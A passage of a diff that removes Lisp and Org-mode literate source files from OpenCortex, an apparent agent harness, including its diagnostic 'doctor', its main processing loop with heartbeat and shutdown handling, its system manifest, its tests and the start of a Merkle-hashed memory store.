(context-render-to-org project :foveal-id foveal-id))))
|
||||
(setf output (concatenate 'string output "No active projects found.~%")))
|
||||
output))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp :tangle ../tests/peripheral-vision-tests.lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :opencortex-peripheral-vision-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(:export #:vision-suite))
|
||||
(in-package :opencortex-peripheral-vision-tests)
|
||||
|
||||
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
|
||||
(in-suite vision-suite)
|
||||
|
||||
(test test-foveal-rendering
|
||||
(clrhash opencortex::*memory*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
|
||||
:raw-content "FOVEAL CONTENT" :contents nil)
|
||||
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
|
||||
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-assemble-global-awareness (list :foveal-focus "node-foveal"))))
|
||||
(is (search "FOVEAL CONTENT" output))
|
||||
(is (search "* Peripheral Node" output))
|
||||
(is (not (search "PERIPHERAL CONTENT" output))))))
|
||||
|
||||
(test test-awareness-budget
|
||||
(clrhash opencortex::*memory*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
|
||||
(let ((output (context-assemble-global-awareness)))
|
||||
(is (search "Project 1" output))
|
||||
(is (search "Project 2" output))))
|
||||
#+end_src
|
||||
@@ -1,81 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defvar *doctor-required-binaries* '("sbcl" "emacs" "git" "socat" "nc")
|
||||
"List of external binaries required for full system operation.")
|
||||
|
||||
(defun doctor-check-dependencies ()
|
||||
"Verifies that required external binaries are available in the PATH via a shell probe."
|
||||
(let ((all-ok t))
|
||||
(harness-log "DOCTOR: Checking system dependencies...")
|
||||
(dolist (dep *doctor-required-binaries*)
|
||||
(let ((path (ignore-errors
|
||||
(uiop:run-program (list "which" dep)
|
||||
:output :string :ignore-error-status t))))
|
||||
(if (and path (> (length path) 0))
|
||||
(harness-log " [OK] Found ~a" dep)
|
||||
(progn
|
||||
(harness-log " [FAIL] Missing binary: ~a" dep)
|
||||
(setf all-ok nil)))))
|
||||
all-ok))
|
||||
|
||||
(defun doctor-check-env ()
|
||||
"Validates XDG directories and environment configuration against the POSIX standard."
|
||||
(harness-log "DOCTOR: Checking XDG environment...")
|
||||
(let ((all-ok t)
|
||||
(config-dir (uiop:getenv "OC_CONFIG_DIR"))
|
||||
(data-dir (uiop:getenv "OC_DATA_DIR"))
|
||||
(state-dir (uiop:getenv "OC_STATE_DIR"))
|
||||
(memex-dir (uiop:getenv "MEMEX_DIR")))
|
||||
|
||||
(flet ((check-dir (name path critical)
|
||||
(if (and path (> (length path) 0))
|
||||
(if (uiop:directory-exists-p path)
|
||||
(harness-log " [OK] ~a: ~a" name path)
|
||||
(progn
|
||||
(harness-log " [FAIL] ~a directory missing: ~a" name path)
|
||||
(when critical (setf all-ok nil))))
|
||||
(progn
|
||||
(harness-log " [FAIL] ~a variable not set." name)
|
||||
(when critical (setf all-ok nil))))))
|
||||
|
||||
(check-dir "Config (OC_CONFIG_DIR)" config-dir t)
|
||||
(check-dir "Data (OC_DATA_DIR)" data-dir t)
|
||||
(check-dir "State (OC_STATE_DIR)" state-dir t)
|
||||
(check-dir "Memex (MEMEX_DIR)" memex-dir t))
|
||||
all-ok))
|
||||
|
||||
(defun doctor-check-llm ()
|
||||
"Tests connectivity to primary LLM providers. Non-critical fallback allowed."
|
||||
(harness-log "DOCTOR: Checking LLM connectivity...")
|
||||
(let ((openrouter-key (uiop:getenv "OPENROUTER_API_KEY")))
|
||||
(if (and openrouter-key (> (length openrouter-key) 0))
|
||||
(progn
|
||||
(harness-log " [OK] OpenRouter API Key detected.")
|
||||
t)
|
||||
(progn
|
||||
(harness-log " [WARN] No OpenRouter API Key. Falling back to local inference only.")
|
||||
t))))
|
||||
|
||||
(defun doctor-run-all ()
|
||||
"Executes the full diagnostic suite and returns T if system is healthy."
|
||||
(harness-log "==================================================")
|
||||
(harness-log " OPENCORTEX DOCTOR: Commencing Health Check")
|
||||
(harness-log "==================================================")
|
||||
(let ((dep-ok (doctor-check-dependencies))
|
||||
(env-ok (doctor-check-env))
|
||||
(llm-ok (doctor-check-llm)))
|
||||
(declare (ignore llm-ok))
|
||||
(harness-log "==================================================")
|
||||
(if (and dep-ok env-ok)
|
||||
(progn
|
||||
(harness-log " ✓ SYSTEM HEALTHY: Ready for ignition.")
|
||||
t)
|
||||
(progn
|
||||
(harness-log " ✗ SYSTEM UNHEALTHY: Fix the errors above.")
|
||||
nil))))
|
||||
|
||||
(defun doctor-main ()
|
||||
"Entry point for the 'doctor' CLI command."
|
||||
(if (doctor-run-all)
|
||||
(uiop:quit 0)
|
||||
(uiop:quit 1)))
|
||||
@@ -1,163 +0,0 @@
|
||||
#+PROPERTY: header-args:lisp :tangle doctor.lisp
|
||||
#+TITLE: System Diagnostic Doctor (doctor.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:setup:diagnostic:
|
||||
#+STARTUP: content
|
||||
|
||||
* Overview
|
||||
The *System Doctor* is the primary diagnostic utility for the OpenCortex. Its purpose is to transform opaque startup failures into actionable engineering reports.
|
||||
|
||||
By centralizing environment validation, we ensure that the "Brain" never attempts to boot in a compromised or incomplete state.
|
||||
|
||||
* Phase A: Demand (Thinking)
|
||||
** The XDG Standard Rationale
|
||||
To ensure OpenCortex behaves as a first-class POSIX citizen, we adopt the **XDG Base Directory Specification**. This separates the system into four logical layers:
|
||||
|
||||
1. **Configuration (`~/.config/opencortex`)**: User-editable settings and secrets.
|
||||
2. **Data (`~/.local/share/opencortex`)**: Tangled Lisp engine artifacts (immutable by user).
|
||||
3. **State (`~/.local/state/opencortex`)**: Dynamic persistence like brain snapshots.
|
||||
4. **Bin (`~/.local/bin`)**: The CLI shim for global invocation.
|
||||
|
||||
** The Detection Invariant: Shell Probing
|
||||
Common Lisp's `getenv` is strictly typed in SBCL. The Doctor must ensure that missing variables are handled as logic failures, not type crashes. Furthermore, binary detection must use a shell probe (`command -v` or `which`) to account for varying `$PATH` inheritance between interactive and headless sessions.
|
||||
|
||||
* Phase B: Protocol (Success Criteria)
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp :tangle ../tests/doctor-tests.lisp
|
||||
(defpackage :opencortex-doctor-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(:export #:doctor-suite))
|
||||
|
||||
(in-package :opencortex-doctor-tests)
|
||||
|
||||
(def-suite doctor-suite :description "Verification of the System Doctor diagnostic logic")
|
||||
(in-suite doctor-suite)
|
||||
#+end_src
|
||||
|
||||
** Dependency Tests
|
||||
#+begin_src lisp :tangle ../tests/doctor-tests.lisp
|
||||
(test test-dependency-check-fail
|
||||
"Verify that missing binaries are correctly identified as failures."
|
||||
(let ((opencortex::*doctor-required-binaries* '("non-existent-binary-123")))
|
||||
(is (null (opencortex:doctor-check-dependencies)))))
|
||||
#+end_src
|
||||
|
||||
** Environment Tests
|
||||
#+begin_src lisp :tangle ../tests/doctor-tests.lisp
|
||||
(test test-env-validation-fail
|
||||
"Verify that an invalid MEMEX_DIR triggers a critical failure."
|
||||
(let ((old-m (uiop:getenv "MEMEX_DIR"))
|
||||
(old-s (uiop:getenv "SKILLS_DIR")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "MEMEX_DIR") "/non/existent/path/999")
|
||||
(is (null (opencortex:doctor-check-env))))
|
||||
(setf (uiop:getenv "MEMEX_DIR") (or old-m ""))
|
||||
(setf (uiop:getenv "SKILLS_DIR") (or old-s "")))))
|
||||
#+end_src
|
||||
|
||||
* Phase C: Implementation (Build)
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** Global Configuration
|
||||
#+begin_src lisp
|
||||
(defvar *doctor-required-binaries* '("sbcl" "emacs" "git" "socat" "nc")
|
||||
"List of external binaries required for full system operation.")
|
||||
#+end_src
|
||||
|
||||
** Dependency Verification
|
||||
#+begin_src lisp
|
||||
(defun doctor-check-dependencies ()
|
||||
"Verifies that required external binaries are available in the PATH via a shell probe."
|
||||
(let ((all-ok t))
|
||||
(harness-log "DOCTOR: Checking system dependencies...")
|
||||
(dolist (dep *doctor-required-binaries*)
|
||||
(let ((path (ignore-errors
|
||||
(uiop:run-program (list "which" dep)
|
||||
:output :string :ignore-error-status t))))
|
||||
(if (and path (> (length path) 0))
|
||||
(harness-log " [OK] Found ~a" dep)
|
||||
(progn
|
||||
(harness-log " [FAIL] Missing binary: ~a" dep)
|
||||
(setf all-ok nil)))))
|
||||
all-ok))
|
||||
#+end_src
|
||||
|
||||
** Environment & XDG Validation
|
||||
#+begin_src lisp
|
||||
(defun doctor-check-env ()
|
||||
"Validates XDG directories and environment configuration against the POSIX standard."
|
||||
(harness-log "DOCTOR: Checking XDG environment...")
|
||||
(let ((all-ok t)
|
||||
(config-dir (uiop:getenv "OC_CONFIG_DIR"))
|
||||
(data-dir (uiop:getenv "OC_DATA_DIR"))
|
||||
(state-dir (uiop:getenv "OC_STATE_DIR"))
|
||||
(memex-dir (uiop:getenv "MEMEX_DIR")))
|
||||
|
||||
(flet ((check-dir (name path critical)
|
||||
(if (and path (> (length path) 0))
|
||||
(if (uiop:directory-exists-p path)
|
||||
(harness-log " [OK] ~a: ~a" name path)
|
||||
(progn
|
||||
(harness-log " [FAIL] ~a directory missing: ~a" name path)
|
||||
(when critical (setf all-ok nil))))
|
||||
(progn
|
||||
(harness-log " [FAIL] ~a variable not set." name)
|
||||
(when critical (setf all-ok nil))))))
|
||||
|
||||
(check-dir "Config (OC_CONFIG_DIR)" config-dir t)
|
||||
(check-dir "Data (OC_DATA_DIR)" data-dir t)
|
||||
(check-dir "State (OC_STATE_DIR)" state-dir t)
|
||||
(check-dir "Memex (MEMEX_DIR)" memex-dir t))
|
||||
all-ok))
|
||||
#+end_src
|
||||
|
||||
** LLM Connectivity
|
||||
#+begin_src lisp
|
||||
(defun doctor-check-llm ()
|
||||
"Tests connectivity to primary LLM providers. Non-critical fallback allowed."
|
||||
(harness-log "DOCTOR: Checking LLM connectivity...")
|
||||
(let ((openrouter-key (uiop:getenv "OPENROUTER_API_KEY")))
|
||||
(if (and openrouter-key (> (length openrouter-key) 0))
|
||||
(progn
|
||||
(harness-log " [OK] OpenRouter API Key detected.")
|
||||
t)
|
||||
(progn
|
||||
(harness-log " [WARN] No OpenRouter API Key. Falling back to local inference only.")
|
||||
t))))
|
||||
#+end_src
|
||||
|
||||
** Orchestration
|
||||
#+begin_src lisp
|
||||
(defun doctor-run-all ()
|
||||
"Executes the full diagnostic suite and returns T if system is healthy."
|
||||
(harness-log "==================================================")
|
||||
(harness-log " OPENCORTEX DOCTOR: Commencing Health Check")
|
||||
(harness-log "==================================================")
|
||||
(let ((dep-ok (doctor-check-dependencies))
|
||||
(env-ok (doctor-check-env))
|
||||
(llm-ok (doctor-check-llm)))
|
||||
(declare (ignore llm-ok))
|
||||
(harness-log "==================================================")
|
||||
(if (and dep-ok env-ok)
|
||||
(progn
|
||||
(harness-log " ✓ SYSTEM HEALTHY: Ready for ignition.")
|
||||
t)
|
||||
(progn
|
||||
(harness-log " ✗ SYSTEM UNHEALTHY: Fix the errors above.")
|
||||
nil))))
|
||||
#+end_src
|
||||
|
||||
** CLI Entry Point
|
||||
#+begin_src lisp
|
||||
(defun doctor-main ()
|
||||
"Entry point for the 'doctor' CLI command."
|
||||
(if (doctor-run-all)
|
||||
(uiop:quit 0)
|
||||
(uiop:quit 1)))
|
||||
#+end_src
|
||||
@@ -1,136 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defvar *interrupt-flag* nil
|
||||
"Atomic flag set by signal handlers to trigger graceful shutdown.")
|
||||
|
||||
(defvar *interrupt-lock* (bt:make-lock "harness-interrupt-lock")
|
||||
"Mutex protecting *interrupt-flag* access.")
|
||||
|
||||
(defvar *heartbeat-thread* nil
|
||||
"Handle to the heartbeat thread.")
|
||||
|
||||
(defun process-signal (signal)
|
||||
"The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
|
||||
(let ((current-signal signal))
|
||||
(loop while current-signal do
|
||||
(let ((depth (getf current-signal :depth 0))
|
||||
(meta (getf current-signal :meta)))
|
||||
(when (> depth 10)
|
||||
(harness-log "METABOLISM ERROR: Max recursion depth reached.")
|
||||
(return nil))
|
||||
|
||||
(when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*)
|
||||
(harness-log "METABOLISM: Interrupted by shutdown signal.")
|
||||
(return nil))
|
||||
|
||||
(handler-case
|
||||
(progn
|
||||
(setf current-signal (perceive-gate current-signal))
|
||||
(setf current-signal (reason-gate current-signal))
|
||||
(let ((feedback (act-gate current-signal)))
|
||||
(if feedback
|
||||
(progn
|
||||
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
|
||||
(setf current-signal feedback))
|
||||
(setf current-signal nil))))
|
||||
(error (c)
|
||||
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
|
||||
(harness-log "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
|
||||
(unless (member sensor '(:loop-error :tool-error :syntax-error))
|
||||
(harness-log "CRITICAL ERROR: Initiating Micro-Rollback.")
|
||||
(rollback-memory 0))
|
||||
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
|
||||
(setf current-signal nil)
|
||||
(setf current-signal
|
||||
(list :type :EVENT :depth (1+ depth) :meta meta
|
||||
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
|
||||
|
||||
(defvar *auto-save-interval* 300)
|
||||
(defvar *heartbeat-save-counter* 0)
|
||||
|
||||
(defun start-heartbeat ()
|
||||
"Starts the background heartbeat thread."
|
||||
(let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
|
||||
(auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) *auto-save-interval*)))
|
||||
(setf *auto-save-interval* auto-save)
|
||||
(setf *heartbeat-save-counter* 0)
|
||||
|
||||
(setf *heartbeat-thread*
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop
|
||||
(sleep interval)
|
||||
(incf *heartbeat-save-counter*)
|
||||
(when (>= *heartbeat-save-counter* (/ *auto-save-interval* interval))
|
||||
(setf *heartbeat-save-counter* 0)
|
||||
(save-memory-to-disk))
|
||||
(inject-stimulus
|
||||
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
|
||||
:name "opencortex-heartbeat"))))
|
||||
|
||||
(defvar *shutdown-save-enabled* t)
|
||||
|
||||
(defvar *system-health* :unknown
|
||||
"Current system health status: :healthy, :degraded, :unhealthy, or :unknown.")
|
||||
|
||||
(defvar *health-check-ran* nil
|
||||
"Flag indicating if initial health check has completed.")
|
||||
|
||||
(defun run-startup-health-check ()
|
||||
"Runs the doctor diagnostics on startup. Returns health status."
|
||||
(format t "~%")
|
||||
(format t "==================================================~%")
|
||||
(format t " DOCTOR: Running Startup Health Check~%")
|
||||
(format t "==================================================~%")
|
||||
(handler-case
|
||||
(progn
|
||||
(when (fboundp 'doctor-run-all)
|
||||
(let ((result (doctor-run-all :auto-install nil)))
|
||||
(setf *health-check-ran* t)
|
||||
(if result
|
||||
(progn
|
||||
(setf *system-health* :healthy)
|
||||
(format t "DAEMON: Health check passed. Starting services.~%"))
|
||||
(progn
|
||||
(setf *system-health* :degraded)
|
||||
(format t "DAEMON: Health check found issues.~%")
|
||||
(format t " Run 'opencortex doctor --fix' to repair.~%")))))
|
||||
(setf *health-check-ran* t))
|
||||
(error (c)
|
||||
(format t "DOCTOR ERROR: ~a~%" c)
|
||||
(setf *system-health* :unhealthy)
|
||||
(setf *health-check-ran* t)))
|
||||
(format t "==================================================~%~%"))
|
||||
|
||||
(defun main ()
|
||||
"Entry point for OpenCortex. Initializes the system and enters idle loop."
|
||||
(let* ((home (uiop:getenv "HOME"))
|
||||
(env-file (uiop:merge-pathnames* ".config/opencortex/.env" (uiop:ensure-directory-pathname home))))
|
||||
(when (uiop:file-exists-p env-file)
|
||||
(cl-dotenv:load-env env-file)))
|
||||
|
||||
(load-memory-from-disk)
|
||||
(initialize-actuators)
|
||||
(initialize-all-skills)
|
||||
|
||||
;; Run proactive doctor before starting services
|
||||
(run-startup-health-check)
|
||||
|
||||
(start-heartbeat)
|
||||
(start-daemon)
|
||||
|
||||
#+sbcl
|
||||
(sb-sys:enable-interrupt sb-unix:sigint
|
||||
(lambda (sig code scp)
|
||||
(declare (ignore sig code scp))
|
||||
(harness-log "SHUTDOWN: SIGINT received. Saving memory...")
|
||||
(when *shutdown-save-enabled* (save-memory-to-disk))
|
||||
(uiop:quit 0)))
|
||||
|
||||
(let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
|
||||
(loop
|
||||
(when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*)
|
||||
(harness-log "SHUTDOWN: Interrupt flag set. Saving memory...")
|
||||
(when *shutdown-save-enabled* (save-memory-to-disk))
|
||||
(return))
|
||||
(sleep sleep-interval))))
|
||||
198
harness/loop.org
198
harness/loop.org
@@ -1,198 +0,0 @@
|
||||
#+TITLE: The Metabolic Loop (loop.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:loop:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle loop.lisp
|
||||
|
||||
* Overview
|
||||
The Metabolic Loop is the fundamental rhythm of OpenCortex: the continuous processing of signals from perception through cognition to action.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** Global Variables (Thread-Safe)
|
||||
#+begin_src lisp
|
||||
(defvar *interrupt-flag* nil
|
||||
"Atomic flag set by signal handlers to trigger graceful shutdown.")
|
||||
|
||||
(defvar *interrupt-lock* (bt:make-lock "harness-interrupt-lock")
|
||||
"Mutex protecting *interrupt-flag* access.")
|
||||
|
||||
(defvar *heartbeat-thread* nil
|
||||
"Handle to the heartbeat thread.")
|
||||
#+end_src
|
||||
|
||||
** Core Engine (process-signal)
|
||||
#+begin_src lisp
|
||||
(defun process-signal (signal)
|
||||
"The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
|
||||
(let ((current-signal signal))
|
||||
(loop while current-signal do
|
||||
(let ((depth (getf current-signal :depth 0))
|
||||
(meta (getf current-signal :meta)))
|
||||
(when (> depth 10)
|
||||
(harness-log "METABOLISM ERROR: Max recursion depth reached.")
|
||||
(return nil))
|
||||
|
||||
(when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*)
|
||||
(harness-log "METABOLISM: Interrupted by shutdown signal.")
|
||||
(return nil))
|
||||
|
||||
(handler-case
|
||||
(progn
|
||||
(setf current-signal (perceive-gate current-signal))
|
||||
(setf current-signal (reason-gate current-signal))
|
||||
(let ((feedback (act-gate current-signal)))
|
||||
(if feedback
|
||||
(progn
|
||||
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
|
||||
(setf current-signal feedback))
|
||||
(setf current-signal nil))))
|
||||
(error (c)
|
||||
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
|
||||
(harness-log "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
|
||||
(unless (member sensor '(:loop-error :tool-error :syntax-error))
|
||||
(harness-log "CRITICAL ERROR: Initiating Micro-Rollback.")
|
||||
(rollback-memory 0))
|
||||
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
|
||||
(setf current-signal nil)
|
||||
(setf current-signal
|
||||
(list :type :EVENT :depth (1+ depth) :meta meta
|
||||
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
|
||||
#+end_src
|
||||
|
||||
** Heartbeat Mechanism
|
||||
#+begin_src lisp
|
||||
(defvar *auto-save-interval* 300)
|
||||
(defvar *heartbeat-save-counter* 0)
|
||||
|
||||
(defun start-heartbeat ()
|
||||
"Starts the background heartbeat thread."
|
||||
(let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
|
||||
(auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) *auto-save-interval*)))
|
||||
(setf *auto-save-interval* auto-save)
|
||||
(setf *heartbeat-save-counter* 0)
|
||||
|
||||
(setf *heartbeat-thread*
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop
|
||||
(sleep interval)
|
||||
(incf *heartbeat-save-counter*)
|
||||
(when (>= *heartbeat-save-counter* (/ *auto-save-interval* interval))
|
||||
(setf *heartbeat-save-counter* 0)
|
||||
(save-memory-to-disk))
|
||||
(inject-stimulus
|
||||
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
|
||||
:name "opencortex-heartbeat"))))
|
||||
#+end_src
|
||||
|
||||
** Shutdown Flag
|
||||
#+begin_src lisp
|
||||
(defvar *shutdown-save-enabled* t)
|
||||
#+end_src
|
||||
|
||||
** Health Status
|
||||
#+begin_src lisp
|
||||
(defvar *system-health* :unknown
|
||||
"Current system health status: :healthy, :degraded, :unhealthy, or :unknown.")
|
||||
|
||||
(defvar *health-check-ran* nil
|
||||
"Flag indicating if initial health check has completed.")
|
||||
#+end_src
|
||||
|
||||
** Proactive Doctor
|
||||
#+begin_src lisp
|
||||
(defun run-startup-health-check ()
|
||||
"Runs the doctor diagnostics on startup. Returns health status."
|
||||
(format t "~%")
|
||||
(format t "==================================================~%")
|
||||
(format t " DOCTOR: Running Startup Health Check~%")
|
||||
(format t "==================================================~%")
|
||||
(handler-case
|
||||
(progn
|
||||
(when (fboundp 'doctor-run-all)
|
||||
(let ((result (doctor-run-all :auto-install nil)))
|
||||
(setf *health-check-ran* t)
|
||||
(if result
|
||||
(progn
|
||||
(setf *system-health* :healthy)
|
||||
(format t "DAEMON: Health check passed. Starting services.~%"))
|
||||
(progn
|
||||
(setf *system-health* :degraded)
|
||||
(format t "DAEMON: Health check found issues.~%")
|
||||
(format t " Run 'opencortex doctor --fix' to repair.~%")))))
|
||||
(setf *health-check-ran* t))
|
||||
(error (c)
|
||||
(format t "DOCTOR ERROR: ~a~%" c)
|
||||
(setf *system-health* :unhealthy)
|
||||
(setf *health-check-ran* t)))
|
||||
(format t "==================================================~%~%"))
|
||||
#+end_src
|
||||
|
||||
** Main Entry Point (main)
|
||||
#+begin_src lisp
|
||||
(defun main ()
|
||||
"Entry point for OpenCortex. Initializes the system and enters idle loop."
|
||||
(let* ((home (uiop:getenv "HOME"))
|
||||
(env-file (uiop:merge-pathnames* ".config/opencortex/.env" (uiop:ensure-directory-pathname home))))
|
||||
(when (uiop:file-exists-p env-file)
|
||||
(cl-dotenv:load-env env-file)))
|
||||
|
||||
(load-memory-from-disk)
|
||||
(initialize-actuators)
|
||||
(initialize-all-skills)
|
||||
|
||||
;; Run proactive doctor before starting services
|
||||
(run-startup-health-check)
|
||||
|
||||
(start-heartbeat)
|
||||
(start-daemon)
|
||||
|
||||
#+sbcl
|
||||
(sb-sys:enable-interrupt sb-unix:sigint
|
||||
(lambda (sig code scp)
|
||||
(declare (ignore sig code scp))
|
||||
(harness-log "SHUTDOWN: SIGINT received. Saving memory...")
|
||||
(when *shutdown-save-enabled* (save-memory-to-disk))
|
||||
(uiop:quit 0)))
|
||||
|
||||
(let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
|
||||
(loop
|
||||
(when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*)
|
||||
(harness-log "SHUTDOWN: Interrupt flag set. Saving memory...")
|
||||
(when *shutdown-save-enabled* (save-memory-to-disk))
|
||||
(return))
|
||||
(sleep sleep-interval))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp :tangle ../tests/immune-system-tests.lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :opencortex-immune-system-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(:export #:immune-suite))
|
||||
|
||||
(in-package :opencortex-immune-system-tests)
|
||||
|
||||
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
|
||||
(in-suite immune-suite)
|
||||
|
||||
(test loop-error-injection
|
||||
"Verify that a crash in think/decide triggers a :loop-error stimulus."
|
||||
(clrhash opencortex::*skills-registry*)
|
||||
(opencortex:defskill :evil-skill
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
|
||||
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
|
||||
:deterministic nil)
|
||||
(opencortex:process-signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(let ((logs (opencortex:context-get-system-logs 20)))
|
||||
(is (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))
|
||||
#+end_src
|
||||
@@ -1,64 +0,0 @@
|
||||
#+TITLE: System Manifest (manifest.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:manifest:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle ../opencortex.asd
|
||||
|
||||
* Overview
|
||||
The *System Manifest* defines the structural components of the OpenCortex.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Main System
|
||||
#+begin_src lisp
|
||||
(defsystem :opencortex
|
||||
:name "opencortex"
|
||||
:author "Amr Gharbeia"
|
||||
:version "0.2.0"
|
||||
:license "AGPLv3"
|
||||
:description "The Probabilistic-Deterministic Lisp Machine"
|
||||
:depends-on (:usocket :bordeaux-threads :dexador :uiop :cl-dotenv :cl-ppcre :hunchentoot :ironclad :str :cl-json :uuid)
|
||||
:serial t
|
||||
:components ((:file "harness/package")
|
||||
(:file "harness/skills")
|
||||
(:file "harness/communication")
|
||||
(:file "harness/communication-validator")
|
||||
(:file "harness/memory")
|
||||
(:file "harness/context")
|
||||
(:file "harness/perceive")
|
||||
(:file "harness/reason")
|
||||
(:file "harness/act")
|
||||
(:file "harness/loop")))
|
||||
#+end_src
|
||||
|
||||
** Test System
|
||||
#+begin_src lisp
|
||||
(defsystem :opencortex/tests
|
||||
:depends-on (:opencortex :fiveam)
|
||||
:components ((:file "tests/pipeline-act-tests")
|
||||
(:file "tests/boot-sequence-tests")
|
||||
(:file "tests/immune-system-tests")
|
||||
(:file "tests/memory-tests")
|
||||
(:file "tests/pipeline-perceive-tests")
|
||||
(:file "tests/pipeline-reason-tests")
|
||||
(:file "tests/peripheral-vision-tests")
|
||||
(:file "tests/utils-org-tests")
|
||||
(:file "tests/engineering-standards-tests")
|
||||
(:file "tests/utils-lisp-tests")
|
||||
(:file "tests/literate-programming-tests")
|
||||
(:file "tests/self-edit-tests")
|
||||
(:file "tests/tool-permissions-tests")
|
||||
(:file "tests/diagnostics-tests")
|
||||
(:file "tests/config-manager-tests")
|
||||
(:file "tests/gateway-manager-tests")
|
||||
(:file "tests/tui-tests")
|
||||
(:file "tests/llm-gateway-tests")))
|
||||
#+end_src
|
||||
|
||||
** TUI System
|
||||
#+begin_src lisp
|
||||
(defsystem :opencortex/tui
|
||||
:depends-on (:opencortex :croatoan :usocket :bordeaux-threads)
|
||||
:components ((:file "harness/tui-client")))
|
||||
#+end_src
|
||||
|
||||
@@ -1,117 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defvar *memory* (make-hash-table :test 'equal))
|
||||
(defvar *history-store* (make-hash-table :test 'equal)
|
||||
"Immutable Merkle-Tree versioning store mapping hashes to objects.")
|
||||
|
||||
(defstruct org-object
|
||||
id type attributes content vector parent-id children version last-sync hash)
|
||||
|
||||
(defmethod make-load-form ((obj org-object) &optional env)
|
||||
(make-load-form-saving-slots obj :environment env))
|
||||
|
||||
(defun copy-org-object (obj)
|
||||
(make-org-object :id (org-object-id obj)
|
||||
:type (org-object-type obj)
|
||||
:attributes (copy-list (org-object-attributes obj))
|
||||
:content (org-object-content obj)
|
||||
:vector (org-object-vector obj)
|
||||
:parent-id (org-object-parent-id obj)
|
||||
:children (copy-list (org-object-children obj))
|
||||
:version (org-object-version obj)
|
||||
:last-sync (org-object-last-sync obj)
|
||||
:hash (org-object-hash obj)))
|
||||
|
||||
(defun compute-merkle-hash (id type attributes content child-hashes)
|
||||
(let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
|
||||
(sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
|
||||
(attr-string (format nil "~s" sorted-alist))
|
||||
(children-string (format nil "~{~a~}" child-hashes))
|
||||
(data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a"
|
||||
id type attr-string (or content "") children-string))
|
||||
(digester (ironclad:make-digest :sha256)))
|
||||
